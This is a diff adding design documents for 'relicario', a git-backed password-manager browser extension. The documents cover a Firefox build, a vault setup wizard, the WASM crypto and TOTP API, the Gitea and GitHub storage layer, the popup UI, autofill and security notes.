This uses the static import of `initSync` and the default export (`initDefault`) from the WASM glue, branching on runtime environment. Both paths end with the same `wasmBindings` module reference.
|
||||
|
||||
## Build Pipeline
|
||||
|
||||
### New file: `extension/webpack.firefox.config.js`
|
||||
|
||||
Identical to `webpack.config.js` except:
|
||||
- Output directory: `dist-firefox/` instead of `dist/`
|
||||
- CopyPlugin copies `manifest.firefox.json` as `manifest.json` (instead of `manifest.json`)
|
||||
|
||||
### Updated `extension/package.json` scripts
|
||||
|
||||
```json
|
||||
{
|
||||
"scripts": {
|
||||
"build": "webpack --mode production",
|
||||
"build:firefox": "webpack --config webpack.firefox.config.js --mode production",
|
||||
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
|
||||
"dev": "webpack --mode development --watch",
|
||||
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
|
||||
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Output structure
|
||||
|
||||
```
|
||||
extension/
|
||||
├── dist/ # Chrome build (existing)
|
||||
│ ├── service-worker.js
|
||||
│ ├── popup.js
|
||||
│ ├── content.js
|
||||
│ ├── setup.js
|
||||
│ ├── manifest.json # Chrome manifest
|
||||
│ └── ...
|
||||
├── dist-firefox/ # Firefox build (new)
|
||||
│ ├── service-worker.js
|
||||
│ ├── popup.js
|
||||
│ ├── content.js
|
||||
│ ├── setup.js
|
||||
│ ├── manifest.json # Firefox manifest (copied from manifest.firefox.json)
|
||||
│ └── ...
|
||||
└── wasm/ # Shared WASM (same for both)
|
||||
```
|
||||
|
||||
## Testing
|
||||
|
||||
### Load in Firefox
|
||||
|
||||
1. Open `about:debugging#/runtime/this-firefox`
|
||||
2. Click "Load Temporary Add-on..."
|
||||
3. Select `extension/dist-firefox/manifest.json`
|
||||
4. Extension appears in toolbar
|
||||
|
||||
### Test matrix
|
||||
|
||||
Same as Chrome — all features should work identically:
|
||||
- Setup wizard (`setup.html`)
|
||||
- Unlock with passphrase
|
||||
- Entry list, search, group filtering
|
||||
- Entry detail with TOTP countdown
|
||||
- Add/edit/delete entries
|
||||
- Autofill via field icon
|
||||
- Credential capture (if enabled)
|
||||
- Settings view
|
||||
|
||||
### Firefox-specific checks
|
||||
|
||||
- WASM loads correctly (background script, not service worker)
|
||||
- master_key persists longer (background script stays alive)
|
||||
- Popup dimensions render correctly
|
||||
- Content script injection works on all pages
|
||||
|
||||
## .gitignore
|
||||
|
||||
Add `extension/dist-firefox/` to `.gitignore`.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Firefox for Android (different extension API surface)
|
||||
- Publishing to addons.mozilla.org (manual for now)
|
||||
- Automated cross-browser testing
|
||||
- Shared webpack config with conditional logic (two separate configs is clearer)
|
||||
@@ -0,0 +1,178 @@
|
||||
# relicario — Standalone Vault Initialization Wizard Design
|
||||
|
||||
A browser-based wizard that guides new users through creating an relicario vault from scratch. Lives at `extension/setup.html`, uses the same WASM module as the extension, same terminal dark aesthetic. No server, no Rust toolchain required.
|
||||
|
||||
## Scope
|
||||
|
||||
- Single HTML page with inline JS (bundled by webpack) at `extension/setup.html`
|
||||
- 4-step wizard: choose host → configure connection → create vault → finish
|
||||
- Pushes vault files directly to Gitea/GitHub via API
|
||||
- Downloads reference image to user's machine
|
||||
- Optionally pushes config to the Chrome extension if installed
|
||||
|
||||
## Flow
|
||||
|
||||
### Step 1: Choose Git Host
|
||||
|
||||
Toggle between Gitea and GitHub. Below the toggle, show inline setup instructions:
|
||||
|
||||
**Gitea instructions:**
|
||||
1. Log in to your Gitea instance
|
||||
2. Create a new empty repository (no README, no .gitignore)
|
||||
3. Go to Settings → Applications → Generate New Token
|
||||
4. Select scope: `repo` (read/write)
|
||||
5. Copy the token
|
||||
|
||||
**GitHub instructions:**
|
||||
1. Go to github.com → New Repository
|
||||
2. Create an empty repository (no README, no .gitignore, no license)
|
||||
3. Go to Settings → Developer Settings → Personal Access Tokens → Fine-grained tokens
|
||||
4. Generate new token, select only the target repository
|
||||
5. Permissions: Contents → Read and write
|
||||
6. Copy the token
|
||||
|
||||
Step includes a "Next" button. No validation needed at this step.
|
||||
|
||||
### Step 2: Configure Connection
|
||||
|
||||
Fields:
|
||||
- Host URL (e.g. `https://git.adlee.work` or `https://github.com`) — pre-filled based on host type selection
|
||||
- Repository path (e.g. `alee/relicario-vault`)
|
||||
- API token (password field)
|
||||
|
||||
"Test Connection" button:
|
||||
- Hits the git API to verify the token works and the repo exists
|
||||
- Checks that the repo is empty (no files) or contains only a README
|
||||
- Shows green checkmark on success, red error on failure
|
||||
- Must pass before "Next" is enabled
|
||||
|
||||
Uses the same `GitHost` interface (GiteaHost/GitHubHost) from the extension's service worker code.
|
||||
|
||||
### Step 3: Create Vault
|
||||
|
||||
Two inputs:
|
||||
- **Carrier image:** File picker for a JPEG. Shows preview thumbnail after selection. Minimum size guidance ("use a photo from your phone — at least 400x300").
|
||||
- **Passphrase:** Password field with confirmation. Minimum 8 characters enforced. Shows basic strength indicator (weak/ok/strong based on length + character variety).
|
||||
|
||||
"Create Vault" button triggers:
|
||||
|
||||
1. Load WASM module
|
||||
2. Generate random 32-byte `image_secret` via `crypto.getRandomValues()`
|
||||
3. Embed secret into carrier JPEG via WASM `extract_image_secret` — wait, that's extract. We need `embed`. Check: the WASM crate currently only exposes `extract_image_secret`, not `embed`. **We need to add a `embed_image_secret` function to `relicario-wasm`.**
|
||||
4. Generate random 32-byte `salt` via `crypto.getRandomValues()`
|
||||
5. Create `params.json` with default KDF params (`{"argon2_m":65536,"argon2_t":3,"argon2_p":4}`)
|
||||
6. Derive `master_key` via WASM `derive_master_key(passphrase, image_secret, salt, params_json)`
|
||||
7. Encrypt empty manifest (`{"entries":{},"version":1}`) via WASM `encrypt_manifest`
|
||||
8. Push files to repo via git API:
|
||||
- `.relicario/salt` (raw 32 bytes)
|
||||
- `.relicario/params.json` (JSON string)
|
||||
- `.relicario/devices.json` (`[]`)
|
||||
- `manifest.enc` (encrypted manifest bytes)
|
||||
9. Show progress bar during push operations
|
||||
|
||||
Spinner/progress during the Argon2id derivation (~1-2 seconds) and API calls.
|
||||
|
||||
### Step 4: Finish
|
||||
|
||||
Two things happen:
|
||||
|
||||
**Download reference image:**
|
||||
- Browser downloads the steganographic JPEG as `reference.jpg`
|
||||
- Show warning: "Keep this image safe. You need it alongside your passphrase to unlock the vault. Store it somewhere you won't lose it."
|
||||
|
||||
**Push config to extension (if available):**
|
||||
- Try to detect the relicario extension via `chrome.runtime.sendMessage` with a `get_setup_state` message
|
||||
- If extension responds: push `save_setup` message with `{ config: { hostType, hostUrl, repoPath, apiToken }, imageBase64 }`. Show "Extension configured! You can now open the extension and unlock your vault."
|
||||
- If extension not detected: show the config as a copyable JSON blob with instructions: "Install the relicario extension, then paste this into the setup wizard." (Or just tell them to run through the extension setup manually with the same host/token/repo.)
|
||||
|
||||
## WASM Crate Change
|
||||
|
||||
The `relicario-wasm` crate needs one new function:
|
||||
|
||||
```rust
|
||||
#[wasm_bindgen]
|
||||
pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
```
|
||||
|
||||
This wraps `relicario_core::imgsecret::embed`. Currently only `extract_image_secret` is exposed.
|
||||
|
||||
## File Structure
|
||||
|
||||
```
|
||||
extension/
|
||||
├── setup.html # standalone wizard page
|
||||
├── src/
|
||||
│ └── setup/
|
||||
│ └── setup.ts # wizard logic (4-step state machine)
|
||||
├── webpack.config.js # add 'setup' entry point
|
||||
```
|
||||
|
||||
The setup page reuses:
|
||||
- `extension/wasm/` — same WASM module
|
||||
- `extension/src/service-worker/git-host.ts`, `gitea.ts`, `github.ts` — git API layer
|
||||
- `extension/src/popup/styles.css` — terminal dark theme (imported or linked)
|
||||
- `extension/src/shared/types.ts` — VaultConfig type
|
||||
|
||||
## UI Design
|
||||
|
||||
Same terminal dark aesthetic as the popup but in a full-page layout (not 360px constrained). Centered content area, max-width ~600px. Same color scheme (#0d1117 bg, #58a6ff blue, monospace font).
|
||||
|
||||
Progress bar at top showing step 1-4. Each step is a full-page view with back/next navigation.
|
||||
|
||||
## Extension Detection
|
||||
|
||||
```typescript
|
||||
// Try to send a message to the extension
|
||||
function detectExtension(): Promise<boolean> {
|
||||
return new Promise((resolve) => {
|
||||
try {
|
||||
chrome.runtime.sendMessage(
|
||||
{ type: 'get_setup_state' },
|
||||
(response) => {
|
||||
if (chrome.runtime.lastError || !response) {
|
||||
resolve(false);
|
||||
} else {
|
||||
resolve(true);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch {
|
||||
resolve(false);
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
Note: this only works if `setup.html` is served from the extension itself (`chrome-extension://<id>/setup.html`) or if we use `externally_connectable` in the manifest. For a local file, extension detection won't work — fall back to manual config copy.
|
||||
|
||||
If we add `setup.html` to the extension's web_accessible_resources and the user opens it via `chrome-extension://` URL, messaging works natively.
|
||||
|
||||
## manifest.json Changes
|
||||
|
||||
Add `setup.html` to the extension so it can be opened as a chrome-extension page:
|
||||
|
||||
```json
|
||||
{
|
||||
"web_accessible_resources": [{
|
||||
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
|
||||
"matches": ["<all_urls>"]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
The setup page can then be opened at `chrome-extension://<extension-id>/setup.html`. The extension popup can link to it, or the user can navigate directly.
|
||||
|
||||
## Security
|
||||
|
||||
- Passphrase never leaves the browser
|
||||
- image_secret generated client-side, embedded client-side, never transmitted
|
||||
- master_key derived and used in-browser only, then discarded
|
||||
- API token used only for pushing vault files and optionally passed to extension storage
|
||||
- The reference image download is the only artifact the user needs to keep safe
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Creating repos via API (user creates the repo manually — API permissions for repo creation vary widely)
|
||||
- Git operations beyond file CRUD (no commits history, no branches)
|
||||
- Password strength estimation beyond basic length/variety checks
|
||||
- Mobile support (desktop Chrome only for now)
|
||||
@@ -0,0 +1,502 @@
|
||||
# relicario — WASM + Chrome MV3 Extension Design
|
||||
|
||||
The browser extension for relicario. Compiles `relicario-core` to WASM, wraps it in a Chrome MV3 extension with a terminal-aesthetic popup, conservative autofill, and direct Gitea/GitHub API access. No CLI dependency, no native messaging bridge.
|
||||
|
||||
## Scope
|
||||
|
||||
- `relicario-wasm` crate — wasm-bindgen wrapper around `relicario-core`
|
||||
- Chrome MV3 extension:
|
||||
- One-time setup wizard (git host + token + repo + reference image)
|
||||
- Service worker — WASM runtime, master_key holder, vault operations, git API
|
||||
- Popup — unlock, search/list, group filtering, entry detail, TOTP countdown, keyboard-first
|
||||
- Content script — conservative login form detection, explicit-trigger autofill
|
||||
- Data model addition: `group` field on entries for logical organization
|
||||
|
||||
## Data Model Changes
|
||||
|
||||
### Entry struct
|
||||
|
||||
```rust
|
||||
pub struct Entry {
|
||||
pub name: String,
|
||||
pub url: Option<String>,
|
||||
pub username: Option<String>,
|
||||
pub password: Option<String>,
|
||||
pub notes: Option<String>,
|
||||
pub totp_secret: Option<String>,
|
||||
pub group: Option<String>, // NEW — None = ungrouped
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
}
|
||||
```
|
||||
|
||||
### ManifestEntry struct
|
||||
|
||||
```rust
|
||||
pub struct ManifestEntry {
|
||||
pub name: String,
|
||||
pub url: Option<String>,
|
||||
pub username: Option<String>,
|
||||
pub group: Option<String>, // NEW — for popup filtering without decrypting entries
|
||||
pub updated_at: String,
|
||||
}
|
||||
```
|
||||
|
||||
The `group` field is a free-form string. No predefined list, no nesting. User types "work" or "family" and entries cluster. Backwards-compatible — existing vaults without `group` deserialize as `None` (ungrouped).
|
||||
|
||||
## WASM Crate (`relicario-wasm`)
|
||||
|
||||
Thin wasm-bindgen wrapper exposing `relicario-core` functions to JavaScript. Lives at `crates/relicario-wasm/`.
|
||||
|
||||
### Public API
|
||||
|
||||
```rust
|
||||
// KDF + crypto
|
||||
#[wasm_bindgen]
|
||||
pub fn derive_master_key(passphrase: &str, image_secret: &[u8], salt: &[u8], params_json: &str) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn encrypt(plaintext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn decrypt(ciphertext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
// Image secret extraction
|
||||
#[wasm_bindgen]
|
||||
pub fn extract_image_secret(jpeg_bytes: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
// Vault operations (convenience wrappers — JSON in, encrypted bytes out)
|
||||
#[wasm_bindgen]
|
||||
pub fn encrypt_entry(entry_json: &str, key: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn decrypt_entry(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue>
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn encrypt_manifest(manifest_json: &str, key: &[u8]) -> Result<Vec<u8>, JsValue>
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn decrypt_manifest(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue>
|
||||
|
||||
// TOTP — RFC 6238, HMAC-SHA1, 6-digit codes, 30-second step
|
||||
#[wasm_bindgen]
|
||||
pub fn generate_totp(secret_base32: &str, timestamp_secs: u64) -> Result<String, JsValue>
|
||||
|
||||
// Utilities
|
||||
#[wasm_bindgen]
|
||||
pub fn generate_password(length: u32) -> String
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn generate_entry_id() -> String
|
||||
```
|
||||
|
||||
### Dependencies
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
relicario-core = { path = "../relicario-core" }
|
||||
wasm-bindgen = "0.2"
|
||||
js-sys = "0.3"
|
||||
serde_json = "1"
|
||||
hmac = "0.12"
|
||||
sha1 = "0.10" # TOTP requires HMAC-SHA1 per RFC 6238
|
||||
data-encoding = "2" # base32 decoding for TOTP secrets
|
||||
```
|
||||
|
||||
### WASM build
|
||||
|
||||
```bash
|
||||
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
|
||||
```
|
||||
|
||||
Output: `relicario_wasm.js` (JS glue) + `relicario_wasm_bg.wasm` (binary). Expected size ~200-500 KB gzipped. The `image` crate's JPEG decoder is the heaviest component — optimize only if measured size is a problem.
|
||||
|
||||
### TOTP implementation
|
||||
|
||||
Standard RFC 6238:
|
||||
1. Base32-decode the secret
|
||||
2. Compute time step: `counter = timestamp_secs / 30`
|
||||
3. HMAC-SHA1(secret, counter as big-endian u64)
|
||||
4. Dynamic truncation → 6-digit code
|
||||
5. Zero-pad to 6 digits
|
||||
|
||||
Implemented in the WASM crate, not in JavaScript. No JS crypto dependency.
|
||||
|
||||
## Extension Architecture
|
||||
|
||||
### Approach: Monolith Service Worker
|
||||
|
||||
All logic lives in the service worker. Popup and content script are thin UI/DOM layers that communicate via `chrome.runtime.sendMessage`.
|
||||
|
||||
The master_key exists only in the service worker's memory. Chrome MV3 may terminate idle service workers after ~30 seconds — this clears the key and requires re-unlock. This is a feature: natural session timeout with zero additional code.
|
||||
|
||||
Mitigations for premature termination:
|
||||
- Chrome keeps workers alive while message ports are open (popup open = worker alive)
|
||||
- Content scripts can send periodic keepalive pings on active tabs
|
||||
- Re-unlock is fast enough (~1-2s for Argon2id in WASM) that it's not painful
|
||||
|
||||
### Service Worker State
|
||||
|
||||
```typescript
|
||||
interface WorkerState {
|
||||
masterKey: Uint8Array | null; // held in memory after unlock, cleared on termination
|
||||
manifest: Manifest | null; // cached after first decrypt, refreshed on sync
|
||||
config: VaultConfig | null; // from chrome.storage.local
|
||||
}
|
||||
|
||||
interface VaultConfig {
|
||||
hostType: "gitea" | "github";
|
||||
hostUrl: string; // e.g. "https://git.adlee.work"
|
||||
repoPath: string; // e.g. "alee/relicario-vault"
|
||||
apiToken: string; // personal access token
|
||||
imageBytes: Uint8Array; // reference JPEG, stored in chrome.storage.local
|
||||
}
|
||||
```
|
||||
|
||||
### Message API
|
||||
|
||||
Popup and content script communicate with the service worker via typed messages:
|
||||
|
||||
```typescript
|
||||
// Auth
|
||||
{ type: "unlock", passphrase: string } → { ok: true } | { error: string }
|
||||
{ type: "lock" } → { ok: true }
|
||||
{ type: "is_unlocked" } → { unlocked: boolean }
|
||||
|
||||
// Vault reads
|
||||
{ type: "list_entries", group?: string } → ManifestEntry[]
|
||||
{ type: "get_entry", id: string } → Entry
|
||||
{ type: "search_entries", query: string } → ManifestEntry[]
|
||||
|
||||
// Vault writes
|
||||
{ type: "add_entry", entry: EntryInput } → { id: string }
|
||||
{ type: "update_entry", id: string, entry: EntryInput } → { ok: true }
|
||||
{ type: "delete_entry", id: string } → { ok: true }
|
||||
|
||||
// TOTP
|
||||
{ type: "get_totp", id: string } → { code: string, remaining_seconds: number }
|
||||
|
||||
// Autofill
|
||||
{ type: "get_autofill_candidates", url: string } → ManifestEntry[]
|
||||
{ type: "get_credentials", id: string } → { username: string, password: string }
|
||||
|
||||
// Sync
|
||||
{ type: "sync" } → { ok: true } | { error: string }
|
||||
```
|
||||
|
||||
### Unlock Flow
|
||||
|
||||
1. User enters passphrase in popup
|
||||
2. Popup sends `{ type: "unlock", passphrase }` to service worker
|
||||
3. Service worker loads vault config from `chrome.storage.local` (includes image bytes)
|
||||
4. WASM: `extract_image_secret(image_bytes)` → `image_secret`
|
||||
5. Service worker fetches `.relicario/salt` and `.relicario/params.json` via git API
|
||||
6. WASM: `derive_master_key(passphrase, image_secret, salt, params)` → `master_key`
|
||||
7. Service worker fetches `manifest.enc` via git API
|
||||
8. WASM: `decrypt_manifest(manifest_enc, master_key)` → manifest
|
||||
9. Cache `master_key` and `manifest` in worker memory
|
||||
10. Reply `{ ok: true }` to popup
|
||||
|
||||
Steps 4-6 take ~1-2 seconds (Argon2id dominates). Popup shows a spinner.
|
||||
|
||||
## Git API Layer
|
||||
|
||||
Abstracts Gitea and GitHub behind a common interface. Both use nearly identical REST APIs for file CRUD.
|
||||
|
||||
```typescript
|
||||
interface GitHost {
|
||||
readFile(path: string): Promise<Uint8Array>;
|
||||
writeFile(path: string, content: Uint8Array, message: string): Promise<void>;
|
||||
deleteFile(path: string, message: string): Promise<void>;
|
||||
listDir(path: string): Promise<string[]>;
|
||||
}
|
||||
```
|
||||
|
||||
### GiteaHost
|
||||
|
||||
- Base: `{hostUrl}/api/v1/repos/{repoPath}/contents/{path}`
|
||||
- Auth: `Authorization: token {apiToken}`
|
||||
- File content returned as base64 in JSON response
|
||||
- Write/delete requires the file's SHA (fetched first, then sent with the update)
|
||||
|
||||
### GitHubHost
|
||||
|
||||
- Base: `https://api.github.com/repos/{repoPath}/contents/{path}`
|
||||
- Auth: `Authorization: Bearer {apiToken}`
|
||||
- Same base64 content model, same SHA requirement for updates
|
||||
|
||||
### Sync behavior
|
||||
|
||||
- On unlock: fetch salt, params, manifest
|
||||
- On entry access: fetch individual entry file on demand
|
||||
- On write (add/edit/rm): two sequential API commits — entry file first, then updated manifest
|
||||
- Each API call = one commit. A write operation is two commits (entry + manifest), linear history
|
||||
- No branching, no merging, no conflict resolution in V1
|
||||
- If the remote has changed since last read (SHA mismatch on write), the API returns 409 — surface the error, user re-syncs
|
||||
|
||||
## Popup UI
|
||||
|
||||
### Design Language
|
||||
|
||||
- **Theme:** Dark background (#0d1117), monospace typography (system monospace stack, JetBrains Mono preferred)
|
||||
- **Aesthetic:** Terminal/dev tool feel. Minimal chrome, tight spacing, no rounded corners beyond 2px
|
||||
- **Colors:** Blue (#58a6ff) for interactive elements and branding, green (#3fb950) for TOTP codes, muted gray (#8b949e) for secondary text, dark surfaces (#161b22) for inputs
|
||||
- **Interactions:** Keyboard-first. Every action has a single-key shortcut. Mouse works but isn't required.
|
||||
|
||||
### Popup States
|
||||
|
||||
The popup is a state machine with four primary states:
|
||||
|
||||
**1. Locked (unlock prompt)**
|
||||
- Single passphrase input field
|
||||
- ENTER to submit, ESC to close popup
|
||||
- Spinner during Argon2id derivation
|
||||
- Error message on bad passphrase (inline, red text)
|
||||
|
||||
**2. Entry List**
|
||||
- Search bar at top (focused by `/`)
|
||||
- Group filter tabs below search (all, personal, work, etc. — derived from entries)
|
||||
- Scrollable entry list with keyboard navigation (↑↓)
|
||||
- Each entry shows: name, username, domain (extracted from URL)
|
||||
- Active entry highlighted with left blue border
|
||||
- Footer: keybinding hints
|
||||
- `+` to add new entry
|
||||
- ENTER to open selected entry
|
||||
|
||||
**3. Entry Detail**
|
||||
- Back navigation (ESC)
|
||||
- Entry name as header, group label
|
||||
- Fields: URL, username (c to copy), password masked (p to copy), TOTP code with countdown bar (t to copy)
|
||||
- Notes section (if present)
|
||||
- Actions: f = autofill active tab, e = edit, d = delete (with confirmation)
|
||||
- TOTP countdown: green progress bar, updates every second, code regenerates at 0
|
||||
|
||||
**4. Setup Wizard**
|
||||
- Three steps with progress bar:
|
||||
1. Git host config: host type toggle (Gitea/GitHub), host URL, repo path, API token
|
||||
2. Reference image: file upload (drag-and-drop or file picker), stored to `chrome.storage.local`
|
||||
3. Test unlock: enter passphrase, verify derivation succeeds against the remote vault
|
||||
- Back/next navigation, validation on each step
|
||||
|
||||
### Additional Views (modal overlays)
|
||||
|
||||
- **Add/Edit Entry:** Form with fields for name, URL, username, password (with generate button), TOTP secret, group, notes. Save commits to git.
|
||||
- **Delete Confirmation:** "Delete {name}? This commits a removal to the vault." Yes/No.
|
||||
|
||||
### Keyboard Shortcuts
|
||||
|
||||
| Key | Context | Action |
|
||||
|-----|---------|--------|
|
||||
| `/` | List | Focus search |
|
||||
| `↑↓` | List | Navigate entries |
|
||||
| `Enter` | List | Open selected entry |
|
||||
| `Esc` | Detail/Edit | Back to list |
|
||||
| `Esc` | List | Close popup |
|
||||
| `+` | List | Add new entry |
|
||||
| `c` | Detail | Copy username |
|
||||
| `p` | Detail | Copy password |
|
||||
| `t` | Detail | Copy TOTP code |
|
||||
| `f` | Detail | Autofill active tab |
|
||||
| `e` | Detail | Edit entry |
|
||||
| `d` | Detail | Delete entry (with confirmation) |
|
||||
|
||||
### Popup Dimensions
|
||||
|
||||
Width: 360px. Height: auto, max 500px with scroll. Standard Chrome extension popup constraints.
|
||||
|
||||
## Content Script
|
||||
|
||||
Runs on all HTTP/HTTPS pages. Three responsibilities:
|
||||
|
||||
### 1. Login Form Detection
|
||||
|
||||
Conservative detection — standard selectors only:
|
||||
|
||||
```typescript
|
||||
// Password field detection
|
||||
const passwordFields = document.querySelectorAll('input[type="password"]');
|
||||
|
||||
// Username field detection (adjacent to password field)
|
||||
// Priority order:
|
||||
// 1. input[autocomplete="username"]
|
||||
// 2. input[autocomplete="email"]
|
||||
// 3. input[type="email"]
|
||||
// 4. input[name] matching /user|email|login|account/i
|
||||
// 5. Nearest preceding text/email input in the same form
|
||||
```
|
||||
|
||||
No shadow DOM traversal. No heuristic scoring. No iframe inspection. If the form uses non-standard markup, the user copies from the popup manually.
|
||||
|
||||
### 2. Field Icon Injection
|
||||
|
||||
When a password field is detected:
|
||||
- Small relicario icon (16x16, inline SVG) appears at the right edge of the password field
|
||||
- Click triggers: send page URL to service worker → get matching entries
|
||||
- Single match: fill immediately
|
||||
- Multiple matches: show inline picker (small dropdown below the icon)
|
||||
- Icon styled to not conflict with existing field content
|
||||
|
||||
### 3. Credential Fill
|
||||
|
||||
On fill trigger (from popup `f` key or field icon click):
|
||||
1. Service worker sends `{ username, password }` to content script
|
||||
2. Content script sets `.value` on detected fields
|
||||
3. Dispatches `input` and `change` events (required for React/Vue/Angular controlled inputs)
|
||||
4. Focuses the next logical element (submit button or next field)
|
||||
|
||||
The content script never receives the master_key, manifest, or any vault data beyond the specific credentials being filled.
|
||||
|
||||
## Extension File Structure
|
||||
|
||||
```
|
||||
extension/
|
||||
├── manifest.json # MV3 manifest
|
||||
├── package.json # TypeScript, build tooling
|
||||
├── tsconfig.json
|
||||
├── webpack.config.js # or vite.config.ts
|
||||
├── src/
|
||||
│ ├── service-worker/
|
||||
│ │ ├── index.ts # WASM init, message router, state management
|
||||
│ │ ├── vault.ts # vault CRUD operations
|
||||
│ │ ├── git-host.ts # GitHost interface definition
|
||||
│ │ ├── gitea.ts # Gitea API implementation
|
||||
│ │ ├── github.ts # GitHub API implementation
|
||||
│ │ ├── totp.ts # TOTP code request handling
|
||||
│ │ └── autofill.ts # content script coordination
|
||||
│ ├── popup/
|
||||
│ │ ├── index.html # popup shell
|
||||
│ │ ├── popup.ts # state machine: locked → list → detail → edit
|
||||
│ │ ├── components/
|
||||
│ │ │ ├── unlock.ts # passphrase prompt
|
||||
│ │ │ ├── entry-list.ts # search + group filter + entry rows
|
||||
│ │ │ ├── entry-detail.ts # field display + TOTP countdown
|
||||
│ │ │ ├── entry-form.ts # add/edit form
|
||||
│ │ │ └── setup-wizard.ts # three-step setup flow
|
||||
│ │ └── styles.css # terminal dark theme
|
||||
│ ├── content/
|
||||
│ │ ├── detector.ts # login form field detection
|
||||
│ │ ├── fill.ts # credential injection + event dispatch
|
||||
│ │ └── icon.ts # field icon injection + inline picker
|
||||
│ └── shared/
|
||||
│ ├── messages.ts # typed message definitions
|
||||
│ └── types.ts # Entry, ManifestEntry, VaultConfig, etc.
|
||||
├── wasm/ # wasm-pack output (relicario_wasm.js + .wasm)
|
||||
├── icons/ # extension icons (16, 48, 128px)
|
||||
└── dist/ # build output → load unpacked into Chrome
|
||||
```
|
||||
|
||||
No framework. Vanilla TypeScript + DOM manipulation. The popup is small enough that a framework adds overhead without value. Bundle stays tiny.
|
||||
|
||||
## Build Pipeline
|
||||
|
||||
### WASM build
|
||||
|
||||
```bash
|
||||
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
|
||||
```
|
||||
|
||||
### Extension build
|
||||
|
||||
```bash
|
||||
cd extension && npm run build # TypeScript → bundled JS via webpack/vite → dist/
|
||||
```
|
||||
|
||||
### Combined
|
||||
|
||||
```bash
|
||||
make extension # or: npm run build:all from extension/
|
||||
```
|
||||
|
||||
Chains wasm-pack then webpack. Dev mode: `npm run dev` watches TypeScript and auto-rebuilds. WASM only needs rebuild when Rust source changes.
|
||||
|
||||
### Chrome manifest.json
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "relicario",
|
||||
"version": "0.1.0",
|
||||
"description": "Two-factor encrypted password manager",
|
||||
"permissions": ["storage", "activeTab", "clipboardWrite"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"background": {
|
||||
"service_worker": "service-worker.js",
|
||||
"type": "module"
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "popup.html",
|
||||
"default_icon": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
}
|
||||
},
|
||||
"content_scripts": [{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["content.js"],
|
||||
"run_at": "document_idle"
|
||||
}],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Note: `wasm-unsafe-eval` is required in MV3 to instantiate WASM modules. This is the standard approach — Chrome explicitly added this directive for WASM use cases.
|
||||
|
||||
`host_permissions: ["<all_urls>"]` is needed for the content script to run on all pages and for the service worker to make API calls to arbitrary git hosts.
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### What's stored in `chrome.storage.local`
|
||||
|
||||
| Data | Sensitivity | Rationale |
|
||||
|------|-------------|-----------|
|
||||
| Reference image bytes | Low | Public in threat model (can live on social media). Provides image_secret but useless without passphrase. |
|
||||
| API token | Medium | Grants repo access. Scoped to repo-only permissions. |
|
||||
| Host URL, repo path | Low | Not secret. |
|
||||
|
||||
### What's never persisted
|
||||
|
||||
- Passphrase
|
||||
- master_key (service worker memory only, cleared on termination)
|
||||
- image_secret (derived in memory during unlock, not cached)
|
||||
|
||||
### Content script isolation
|
||||
|
||||
The content script runs in the page's DOM context but never receives vault-level data. It only gets the specific `{ username, password }` pair for a fill operation, delivered on demand by the service worker.
|
||||
|
||||
### API token security
|
||||
|
||||
The token is stored in `chrome.storage.local`, which is sandboxed per-extension and inaccessible to web pages. A compromised extension could leak it, but that's true of any credential stored by any extension. Mitigation: scope the token to minimum required permissions (repo read/write only).
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
### WASM crate
|
||||
|
||||
- Unit tests: each wrapper function round-trips correctly (`wasm-pack test --node`)
|
||||
- TOTP: test vectors from RFC 6238 appendix B
|
||||
- Integration: derive key + encrypt + decrypt cycle matches `relicario-core` output
|
||||
|
||||
### Extension (manual for V1)
|
||||
|
||||
- Setup wizard: configure Gitea host, upload reference image, test unlock
|
||||
- CRUD: add, view, edit, delete entries through popup
|
||||
- Groups: create entries in different groups, verify filter works
|
||||
- Autofill: test on standard login forms (GitHub, Google, etc.)
|
||||
- TOTP: verify generated codes match Google Authenticator for same seed
|
||||
- Service worker lifecycle: close popup, wait >30s, reopen — verify re-unlock required
|
||||
- Offline: verify graceful error when git host unreachable
|
||||
|
||||
### Future: automated extension testing with Puppeteer/Playwright
|
||||
|
||||
Not in V1 scope. The extension is small enough that manual testing covers it.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Firefox/Safari extensions (later plan)
|
||||
- Offline vault cache (extension always needs git host access)
|
||||
- Conflict resolution (409 on write = re-sync, no merge)
|
||||
- Framework (React, Vue, etc.) for popup UI
|
||||
